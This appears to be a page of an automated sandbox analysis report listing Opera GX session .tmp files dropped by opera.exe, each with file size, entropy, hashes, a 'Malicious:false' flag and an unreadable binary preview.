                                                                                                                                                                                                              Preview:........XhYo3wB+WpW73r0jygQ7VxLCMsCydo5hmtWEL3FqiuI4=.........WC.<E.@....w..V.$10cD...8..v....g-A.n[S}...|.....c.D@tni..b.{..F.!...p..5.{.....$.....]m.#.... .I......A.%.g....#..a.q........l.~...y..._%...(...*...)E`S'yHY...\..w..3..&W..x.j.>"".I!/`;*.[.J4xV~`..4.u.(]...)".=Q.q.^..{[.u.x.j.7..f.#..7.S...~....R.@y.{...q...Bc.H....{..3M...mX...F.........D ....B..N...5..$.\"..L.....h....].....x~..X.V.#....@..}.m.Y.q..e.... ...b....E.....I..xM..D...%.5.K.....C.aG:...iZ$.X98n.....?V..O.;..?.....>...l.....E.s.S..;...-...d .$+d....V...{[..6=...@&...H4O..dFI:*..u..$(.."|.uC....(../.'u..jw.(...}.#. ."f.U.i_...x]..}.I....8b1..K.kuY#...mn.d_.5.{.@....S.5FC...(.......h..!..p5........-.9..v...t~..y ..8:.*..:..f-A..r}..L.?..yt.....$.%x....ol`q%l.b.........y.n..[R.}o.,...]...Y.y..i....6...(1.~......s.e.Bs*....<..1OB.....L./ .v......O?...F.C.v..i.<...c.4.7/.,.B........2..O.....Jlbv.l$.Q.zF<..*L.kw|.z`.HF.......,.@tM... }e..jW.1...R'..(.v.'..qr.;...&6E....t.a.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\d99e1089-fdd9-4d16-939d-61ce3ff26399.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2317
                                                                                                                                                                                                              Entropy (8bit):7.910702138763156
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:24BCC711F959D7126CB2E4ED5C0619DB
                                                                                                                                                                                                              SHA1:7B38D7E10ABD7251D2BAEAC3DF948F80749FB593
                                                                                                                                                                                                              SHA-256:5D6025A98F28F7F2DD0825B56361313BE336FF062902C243E21B40F2FF6A64A2
                                                                                                                                                                                                              SHA-512:CD70CA9EBB5446132AA8F61EA359187532F8AD7A33C67A3704C9152DEC45924B30C5C6383F26CF7A0BC1F4651D0BDB7780C1FE7AF669AAF59E9D486E89E6CC40
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XbShvpSMbLQAavKAjcwbF8oMWWBvSsec7ckp1u8St320=.....#..H.+.X..j...K.k.A.^d...s.......{.>...i....w...g.o;...."...3...2.Y.......Md..p.e....k.O......Y).....H...(.W.9.b.c........-...1.....\............Q.....y.>.a1[~^.4....y..L..p_P..\..WS.......@s.}!:.:..*|...............S...^.$(...[>..T..rk...+9{.[..Z....].4.....-...).j......>..IN~jY........a...K)....1.H~<In]HD.7N....7.x....iv.t...v..s.i.\@...|..h4..mDVTx.c.R5Uk....o..b.*}..S...."..6.x.r....Y..3...^W._".$.)}m.2.D......"dD.6x..............R....v+..$6.....q$*.$t.6l..3v.(.>...WY>.a.D.& .....B@Y..]...&4......Je.....\V.o.5</O.L.xi.%)..d0.. .......t.!4..;$.<b.T.K.".G.....(Ma.0|..s..p.r.~...8sK.O.98o..F.>.@.....J.....H.y.....3u.3.H...X..D..Y+|...`...Lk|u.g.V..)........!...e>u,.......JQ.....{....2P......J[G....+9.+. .8U.G@F%....%F.s.x..:..C!...&..:......S.A..o..f.4.o.pA.h...K=....h_l.v.3$!aT.f:...g..y..f.......B..:.U5.V...\1\...hxj.....%....1.G#.Q.dH4..\..@...rb .1]6N....v-Gc.=8..}u.......FbR....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\da55af0c-5125-4d65-80b3-5cb76e46b6ce.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980526564394848
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4E8C96CC12ED39BE6149827A15F8ADA3
                                                                                                                                                                                                              SHA1:1F543F37B743494730251269E81682676AB78CE2
                                                                                                                                                                                                              SHA-256:5CA1CA784DB257CA4841EB7D24DC90F681B6E59C797957336AB1435F1B5B99DE
                                                                                                                                                                                                              SHA-512:E94C8424F40774653AA192D3129DB4A441C5C47EC77313A83B0F9760924AB3BEC3AB60E45533FAA63350C6FC53EFCE2E757E31B89A7C571B4488C044AC1AB607
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XN7vRtMzi43ehIa1tGmXwD2gLe7vkRudMAvGzMRc+dOo=...........^...d.b...#....?d....j]...G.i{...O..-.....F......\.....@....QB..)O.hx...}.ln.!....7....j...~..I.H.ayR.#...X.O +...o.^...`..!f\...i..\.D..9..3teHw..C..g,e..W........cE.x(.a.u.....1..q...lh.[%.'9|iiU..[^."/xP..$....'....=.#.........R.Q.vq.`.8.;...y..+1U.w6..v...{.\n.:@'.i.~.B..t...i.....R..G.G.....n^Q.h.g.Q.....@.......V..(.,^#+.l.*c=......'T.........CdX..2.3.k.^..T.{JV/..! 8w...z.{..8....|T....`/_..`...(...:...x@....7.=....eo.a....8..]..=...@<;.....L.&:.-cjp......hug...Oi.]..Z4.A......XD..@H...8.f9..b....V.fL...E..j\........Q.3R+/.-.....&#....Q6.U...h...{2P.h...c[G.z.v....!.$.....T.uW^m...{p./:.x....h.. ...8.:.{.F...+. .-.Z..q..7.].s<.O.m..2CH.t2.. .t...Ba.b..].,..[n.].y;.........s*]....$.v..@e..fX(....w.em8.Mx...kI....1..^.Aw.#r.y)X.C.l.&..{......Q..T.#"....w..e..h.J.r.......=.u...X...-.....L...]6N.....*.F.<&&-<...+..46.....d......[..1- ...q.1.6.b#;.$..5A.o....&...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\db938e1b-4c5e-4629-859d-9d752a7ddbfc.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8173
                                                                                                                                                                                                              Entropy (8bit):7.97960858705773
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0CB229C3748020F41ED5FB645206DADE
                                                                                                                                                                                                              SHA1:A1C8989D7F175BEC27269648D827313064C13288
                                                                                                                                                                                                              SHA-256:10046EA590CBBD8701B60EABC972C5B3156A5F1CE2FA5B6E2FC04C901D79FAAC
                                                                                                                                                                                                              SHA-512:539ECBC2D5C51177F72A72C2425FFE24027C5E94C58C176E5B6F8F9FE13E30D39C3117A12088A2E40479AF72B12A41807130FFE42807DBA1B04E4C6C1E1253C3
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XcsuFUof21tYoRNmMoaNDVLipTmaBQ7lcV2JrGbbMQao=.....~~..@.V...'.Q..%z.u<.Jf.J...'.m....!-...P).\.#H.3:.nh-....;a.|.h.x.~..0....s..).(....}s..e...7...........Y...o....G...z.g...w...i.!..y.z{lO....8.Q.~.....yT..D.".V`....)..R..~U..e/../.[!B....Z;.*...1...c......A.S)..I.Z.=.....xr.........-t.e.pw.8...X.f5..._..=...5.Y.T..n...`}.....`..=..)NY.^9...VX(.>..jI..Q.1.n...slh.....@;....0.....M.HY.....=..Y...9....J.........H.%Zvl#o.$.C[.3....+.'..?dy.Sq:.........e....TP..>..j}..z.5..G.:.`.7D.T....}c^..*6<..;DA.....+f...4Z..x.g}UeVi_...G..y.$.3.&..w..z..xr.=....V.......>....S."...YZ.....h..%$..6.Nu...i.../..,....N5....ADLG...}..........).]./.P.#..O.]...m..!....6...pa......#@.1.G........J.O.._.D. .....T...^..);.s`c.....N4.M...O./. ;Iy.g#P.)...| ..z.........}NQ.xG|u.>.....G....z3D...$...|....K....k...!w.m..J@..w.....p...0...`.:"a......2. ..5..`..eZ*.n(..))(T........D.x....L..Z......7..i...E...W.X.M.._/K..Cn..m....0..s....B?.&..h...0....R..s0^3l.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\dc10889a-b5be-4ece-a9ae-da9ce4cbd6f2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10222
                                                                                                                                                                                                              Entropy (8bit):7.983131466766973
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:726678EE601E42C9B2A9E23445DAABCB
                                                                                                                                                                                                              SHA1:7F2295747E05EF4D30BF995A2E9C9602E21C1AF5
                                                                                                                                                                                                              SHA-256:95133AF0C3CBF757FE28F5E2D9F115E834F2EDFFF672DDE6E9435D02FEF834C0
                                                                                                                                                                                                              SHA-512:5E8C2A9386A470341203928404FD82C685281EDD0804AA0A542616D22BDE4A6DA04BCE7D571CC734F57FFA190D79140D32A3891C65199AF8A5F1941278D71ADD
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xz1bjK/KYTj0Kx2Ik2esg64wdo7BmkTgOycb8HWAj9bs=...........R..=.X.).....t.....42:5*d^I..4..K..? .....-$.0..>JnV...1.B..?i..........&Q......J.F...e.t...2PCY5+N....4..Ws....yxb..:....u..uLX9.ZF.9.o..`.1.ut.L..Pc.^.......v...1.$....r..;.{..|....`.....:......'........O.R..$......E..x...a...7m.g..^..'.".....PA..C~C...Z."9.WJ....6.w."M?)....|~.0.B1.G.}?....F.=.@....{. u...".r....o..-.A......F*..`..K.8.Z}cL(.......G..R...l/t.c.Mo.b.S.... #...Y..$.......^r0e....G\.RO....S.."...>$..?.F..M...Y....SC.<j..s.4m.\r.\E..C\.>./.j../*4)..W7....H.NvnR....~.6...&..i.c:J.@...*..|J.~.bE....g......u..Y.h&..3...a...p..."...5>.A....../.9..9..%L.G.2...D..)-...._..R$_...t.1.1.....I....M*....N....:..-....T...E j..,9.(.)8..at"....,/..'O..*0...8u.....rC.....q....UB.?....O..X}O....Z..#.j-j..W.;^V."..o..h.....}..P...a...'.q.{%.N@F.V..&..y......*M.M..bQ....Z..j..e..U.r....A4.....E...;T-+1.....b_..._3j.....+.0..4.V43....%6=R...@.U.`4.O.Y..*..........C.Iv.M./.....j.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\de3acc1f-07a2-46bb-ad2c-73220d2ba4f2.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980888832366843
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4B0E95B2F347D093434DC1FF4E0D8486
                                                                                                                                                                                                              SHA1:AC1D0A6B0431A86BA4873E0ACB628D727EE91682
                                                                                                                                                                                                              SHA-256:40FAC024909AD7E30C5E1A4EBA74264665810C045FFB5E0F9FD6236A1F354CF5
                                                                                                                                                                                                              SHA-512:DF73A246F27E2E02330E15F4745375EBEE11C9DFA5946C01CBEAC3E917E1FFF50CF431ECD89AF46774A4471BB2F706AE2EA863846DD0296982C64EB60A1AAA99
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XHIXynHwCxiyalHWgJvXNfSgdPlAI5n07zla0HQHpPNg=.......9.(."..b.W.Pna..X%F.G.$.x..Jn..e.I]....tt6q.r....cpYe.....q.:X.....m.&....a..|..>".....i;....f....9[+vi..V...4.{.i....3...]x.-..W9..F.#...'......).Q..z.L.oa~H......GM...1..".%...T.I..<...uu.i...t.P....a...R..xF..rR...L....e...N^..(.6..\..m....2...1T.H...r..:.L>....o........[.. 7I....0.....e.J.W.[..J3?..o...N0U..".-...l.E..#.4wHn....S.]...6..'8.Z..^.n.K.<...X..._..\.....?.GGDg...~......(..g..ih.E.ue.e......O.^^(BGM.S...-..H...V`..#..q{..|..fqn.5P..HP.....?.W..g...}......@..2..?7,......"..s....s ...T...x.>.mO......rq.[M..\}.........>...x..<V...`dCN.@L!K.`...`y.^7.."'..7.2.d2....`w..}0.".p..1..H.E.L...*.0..C.......t.<.......DH0..,Y._.E.....of...1.e:.....k.....e.&Ij...:....H........EN...+...>.8.BSQ!e../%$........a .',.A.\O7....$..9.C;5....@....4k.#.B[.a_..../s.L..C.w.....C_g...t.V.b.2'...O..4D......f.....k...e8M:...=.\.../%.v...j.>;...z._...@.XGs..2K.mq.:...hs{I"D3.y#..M$Lc1...-m...k..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\e5cb467f-3fa7-40e3-a52b-e81136c03ff3.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2845
                                                                                                                                                                                                              Entropy (8bit):7.943076564768262
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:BADC5AEE262150CA636AB55C09F0C7A9
                                                                                                                                                                                                              SHA1:EF6C7F503AAA68FC47069EC1FED16B7484C066A9
                                                                                                                                                                                                              SHA-256:C2AE1BD46BD2468D146A49A394BF0A628FCC59B045B6ED8FB1EF8EBD4EEA896B
                                                                                                                                                                                                              SHA-512:5F75A11D3A84F71779FE687120195D2D2244E8ADA7F278F361C3E9CD4094F59DC57AD3CF8ECCF9B55F22234428C309266134E427DD0F37FF8A6A9ADA404B28B7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XX0kv/CePCUluF1FkWGUmThzyg1QqgikcXoHSdxcL5tQ=.....+...........U<.N.;....uQ.3p....\wII'{:.c..q.?l5.M,!..c.i.O....Z.........EP....m..KYM5W...j.!4....~.O...&....T..A.W.9.....O.\5p1..1:(]s..s..........8..M.s...TV.>..<.\..kzFuO.$..n..I.dv.t.....#|....,A-d;\.../f.5..V....Z.~:[...rk.w..)..W..._..0.`.G.....E<.)..2.4E....i..'.............:..G.z:.ZL..iv{.f._.F...?....~H.. .;R....c..f.!...].6..A.1.'d/...........'.0.....8w.j9pu<.&.6.wFl...j.h.!...Gz....b..C...`x...D.!..5*u........:.p.X#.....~qZ.|!..F.#....(...I4...JY.a)5E.O.z.....o...>...K.+J}...A.t.w......`&...`.0H.Ho.k......6f...{...".r.>.n.... .....r...&.'..<2g.S..A....$.^D...y.`4.5....6.....%s.fl...8.C.J.[|...*.....d...q.R.>d...........g...!..He.t^...I..JHRB%....Qe.+!.m...iV.u....N..`.3.....|.....q..w1..D..).?q.j..z.@..5).xWa.b..i7e5m.<[......X..:w.......Py..eQ|5...#.....a"......j+...hy[)..2.%T..l.HB.e....7e'..;0..l........t.M<..Y...\Se7c%A...IT_.".,....=.|.a>..h...q...'..yL!.=y...G.i.a. I

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\e6a3c967-5848-45fb-8c06-e9d5157457db.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2605
                                                                                                                                                                                                              Entropy (8bit):7.9299169530166935
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C51626B3B96AF8A4A0FBCA9AB8BF7FDF
                                                                                                                                                                                                              SHA1:FFB7F6BE8ED1E8BE713DCF0E0F5395756031EF06
                                                                                                                                                                                                              SHA-256:93D9928314671144E587C121E4D0B0E2972524B6E1FDBDEDF9F3752A10205710
                                                                                                                                                                                                              SHA-512:E6F63D13BF7F90B4B3D58948AC424160BA7CAC3F4ECC2607BDE8FDAA93FFF3F10B7F1B5381A09D3355F942810CEDC4319A455B7A402F361003D0CC2B1E404A10
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XzzjnqUWcet/k2w1AorR3ICkwuCq7o3NCYMblLbABhJY=.....'6w.<. ..........u.6...^.td.jo....g.>Q*.........8@......HxE..&." _. ..g.....bB..g.........p..y.J..p.v....3.Z.?'*.#.-..f>a....R.=...mO1.WA.=.yl^....Y..;......Lf?sY?.....b,u;...2NZ....rJ...bJ{wd?....I....u..Z.S..s.b....`xq+2......hj..o(9pz....B...+p.=..R.3/6t.P...&EK.pMo].X. 4..&.......LU...Q....X.)....H..%.=M...W.."A.4.&..A.6..J!1k...O......zN.-..H."`...T.z....q....m....>?.i...k@i.{.,.yDr..rjDJ.P....G..+.....z.U.y...1......7......i......UF..W..m7.=.%T... h..A2qd.......;.!..us.7.2`...j...s....mC\.2q..XC._..y.{V..4.q.(.....P.T.w@/.6i.......(....j.x)...A.Q..+.......=...o..&0..Xn......r.^..^...Ez.rX....c.=d.t9.....D.k.......A7...T.....,.z....k..b.k....@.a.'.%LX\.......X,.j...\.7Fs.~...Y5L...e--....=..%.'C=.^T.[. q.R..2....S.E..a.....P=.n^....=..U....(A.?.e,e..=?e....V..u...z.M..I.J.....z.U.Kz.?...7.(.'c. ...q..y....(.~.W..t%....B....c...V..B.......~..OV.v....xy..Y...W$...P|1...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\e736e292-09e5-4efa-b8e1-657c1d1f879d.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.981167918911818
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D5A3B7818EAABA5113B8B5E1B81F9DC2
                                                                                                                                                                                                              SHA1:23C5D521DF3F20EAA28BB62FDC40B19A3DA13453
                                                                                                                                                                                                              SHA-256:8BE6C38E0A1DA3AE677055DEEC98E05CA5A564D282C5355D844F13A21DA15191
                                                                                                                                                                                                              SHA-512:41AE48791687B3718541850EEB90EFB5734280A6A35D657A71A44F9AC77FE1C278DBD466232A9AD99F689F35C7E63E70B080DDE58A391D0156C5E7FA580A0953
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XDjLSeUNFwJcSdJkeU6pRZ5ETN3nsfShjQrUEbjZjwCs=........R<...c.....SoUU..T...O..D)..:.).?.g..^..E&....Y.M.y.UF.2.}..1w....6....~..RY.D...;..s...r}h\.k.#..fI.......f......T..G.D..............uI2M..?@....Y..........(..C..k...]E1<....TRh.....V..E..:.Vn.. ......2.t...+..O...jJym.*.....`...Oce....;J..oI.'....Y^.N..!....#.....a..$.5..U..N...../a...Ee........1}]...4*.......CY-.W<...."..F..j..........,.qP.(......,f&.D...*....... c.c.;...*.k...eXT.....*(.#......0.F.......B..F... .jy.0....:../vT.V.l.....Uq.....4Y.g....D5R.....%.9.(.....5lE7....p)}!.v...r=L.7M...0{......@h.P.U......Iou....c.m.............Y?.....t...".r.......L..,.... .Ax..Apn.. .....,_S\..U2...&.p}..?/....6...j::n.:....U]..egi.6.L.. a.n.H5.o$..Z9.KX..7...<<Vo.w.j`.FlX.....lja..K.5....5O.$.e..*0..cW.Pp....N.dC!..C>d..=.uQa.........5.....k.K..O]..g..m><.X...3...6X..mY...b.....pck.......6b..Bl)s....A.<...FE.Z.b..S..Mq....6.C...y.X.E..<.X..../DGx ....'Lb.ip*.C..c....gO..cU...#.[Y

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\e7424cae-8a91-464a-82fa-9821d2712e70.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7853
                                                                                                                                                                                                              Entropy (8bit):7.977391908068412
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F98BBCDA9944F5A8603EC8D89E56D92E
                                                                                                                                                                                                              SHA1:E9337D6FF4A5FA2A41BE719C03729A1A43CAE9E2
                                                                                                                                                                                                              SHA-256:34794258437B8D801722D36BEA33FC254BE5B1D38B3A48C8AE89A2F27744F246
                                                                                                                                                                                                              SHA-512:4AC5DB37754F8520F2F67C6E847A6F364188741452A4BE25BE7C1AE1D3B51D774FC83DB3E04438DFFB1EDE336041295B69458BF328AB3AF8A2510D16018237DB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X8kuDTyT7eBD1PHsRtVBbdtRx7HjU7CfODxAbWVRlHSA=.....y.].......TU.7.R.lKi..5....Q\.Vs...m.9u....0&.5.."..,...B.jg...oGNt........q$.3\..h.1......F.!.5.GPR.qm!$C......./.8..Q..3#.&..S...B..z.Y?-...Q....`#......l...C.]c4...=[Li..v.]..J....V....+`N. ..+.t..%txWvp..C.Wy.....E%.b..T8.{.....V.Q2R...>..../.t..zv...J.....~Hz...^.._.:kL..q.~7....7..N....b-Y?hf.*7.c.../..6....sb..z..].....L.@..(p]..:z&.a....X......N.b%.....C..Q.6...MH.Z.m. ...m.g^._..W.i.9..?...H.>..}L.F.E........[".4..........e.l...a...M'........}a..../..1..... ..X.9.,I..J....n4.~.....]....5. ...)(.)..W._M.:Bm7..ij(..Yf.'.~...&b@jG../n.j.1./.K.=..V..).T>.QMy7b..|o.LQ... ....2l_..].+...$.}.xw.[........x.E...N...?.f...[^.zO..4A...5.i..:n>C;.a._hW^....O`.R.}ME...V1{..N>..>lO.j../.o.Z.Af.\.....q.5W.......a......zW.G/B..v.S|.K.V"..#..Z.c3.n..a..7e..C.._..A.....nE.'h..X.b...6.......f..J.ANK..q......0".T...-'.>/..Di"{..k.L..c.U.,MK.._C.N...p...7.F..)...<B4;..hChLh.......n.....P..Y.j

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\e9079baa-b55c-435a-b952-ab2a9b32f262.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.9799448728534195
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2F4C3B60A3686C46A099E0B1AC3D0BE6
                                                                                                                                                                                                              SHA1:94BE8E85F6FB2F4909DA9CE6E8A0407642F46166
                                                                                                                                                                                                              SHA-256:33430AAC7FE88D67B8F9D0E9304873FAC596EABCC620DE244C12B3D79BD3EB74
                                                                                                                                                                                                              SHA-512:72941A21964C9C83611C011415133121472EE6AE11270A1687EC78DC3A622C3FACE0BADFF35C77A7F3B7D9129046D37CFAFF212991819740656DFDC3C52ED891
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XJCT3YC9etunitoRMQuNah8p3e8PGOiUFJq6edkDLEvo=..........\......CC.mqk.(D....c....;..~...g.(bo-.u.~...@"V..[.....N..Z].....Z.U|....Qs.);70&=].......&j)...Pk."..9s.Z!.t.$k.o....9..n.....oB.C;...sy.#......aK.J.V "W>CV..q-.R:..,.]{...A..>......>...R....e..d.WC........g..!.....T{:h.J..N.E...ZvC.j..q6Xw..]..0z...uY....|.....oC....ARc.@;.;A.3.S..}.3,(I...{.r/...xm0..w..i.t.}...*S..-}..~..#..../.......X...PBt.........f0.X9......@.YZ...C.o.......).#aD....)t...............j.J97....].=.......=.<.q....A.<...."...n.zL...>.'...}xB..*..yN.....z.W.\jB.b.km.{c...8`l......d....G'..$....-..?J.B?.Y......'.C.$.I.$.A.P#Z<Pg4.[....N^.f[.{.....O...Y7#..f..Ak......8..9+.A[...a..4...t..y.0k..{9.=..y.N.7=....o.e.5j.teb.P%.2..........P@./.V$.8uV..rKdY..A........=....E...dt.yGND0...fyu......31Y...r.VL.l..H@..k =..1...U..S...aAR.:..Fc..\.3K...Q.j.........8..*A.....<S.28.D.!...)...!3...)..a......H.......,G....Z...e.'..J.1.M..3..c...A...?E7T...mr....?^.F.. .N..]..}...[.?.?;...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ea28c701-4362-4906-98c9-b5abf94b62e1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8894
                                                                                                                                                                                                              Entropy (8bit):7.980160435640005
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:2A035AAC85D97CACC50525FCE14EBC9E
                                                                                                                                                                                                              SHA1:83828C59F0A193EE1B68291049163485D1BBC184
                                                                                                                                                                                                              SHA-256:FE6BF183C36B5521127E62214CB22FCA1CC654E7028FD3BBB629D6EE57D154BB
                                                                                                                                                                                                              SHA-512:D95D9157192262176FF04E5115317D17651B935951158D94480EB306431EC673C7EBB87488C7772F34CE2A98EA5C383E9F2B0B50798E7F1B9D6D65DA7F77E8DE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XYfSmOZdLDQ7BAUu9O2rB0xy71/30R+HoVVMTrtVeHgM=.........95..u.......@&.:2..W.I...@.N!..H.JU.g.j....G.n)n..\...|./8Ix~.D..:W...,......Q...B...}.......A.f*H.!....8..L..x.".um....R.1.j:....FWTA...f8..U2x....s.gH.p.seJk.h...Ct{>..q.+....'.$.NX....c.9..V5...AB........S...?c...b....VK.j]..X...C.*....Zk1$....."8...;gw..,..%Qd......>L....g..7LwpR...a&q0.........X..(.HP.o.....Dh....3vS.S.rMM.....5e.K$..aI&.k....C.........?4..'..X.B.........7..T. $..^...~.M.|.M.....JI..F.j%.....4.e..bP.>1..<.".......X..T.M..Y.=..AcU.w........z.....q0]......}.].9XCT}._..{J.......9 ..I..[.6.E~.H.'(.... ...4<..k.........R.......q.hY.Z..Q4.K..x}\F.\..K:..z.....#[.......!...&.vK.........N.B....h`KD(....Dv[....^d...\.v.^.q.[.;D.....9!..Z.....*.Ce.=...tA.P.........K.8....O%..8eG..mHK;.@`.h........k?*....'_x.^....w:s6...-..r..5&h.P.2$.S....G.C.C...u....>M]m.\Lq......@..I<.=Q_`n......].....7|N4Tj1........gU.g.GGS..xW...x.%lAH..G...j'......=..ri...D...:..AF8.....-....S.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\eb10b68a-74d6-4240-ac70-3fc909e0a525.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.982604663248524
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D8ED1214978D218B421C2130225592C7
                                                                                                                                                                                                              SHA1:E60CFD64B26FB5AEECF88A9AEFC9DC4E69A81332
                                                                                                                                                                                                              SHA-256:CD5CC70298AFB1E4B7122350FDB0B252D839E5915EFD5E837FDDD1E5418D5DAC
                                                                                                                                                                                                              SHA-512:66FB60EC2585FA2D387EEA0FE435B72C669E0CC530A0544249B5510551825949FAFD6CADDF7A028A65DCB4FBCAE0251F9A3C4A1C5F51A1FAEB40956CA2A4D4AC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
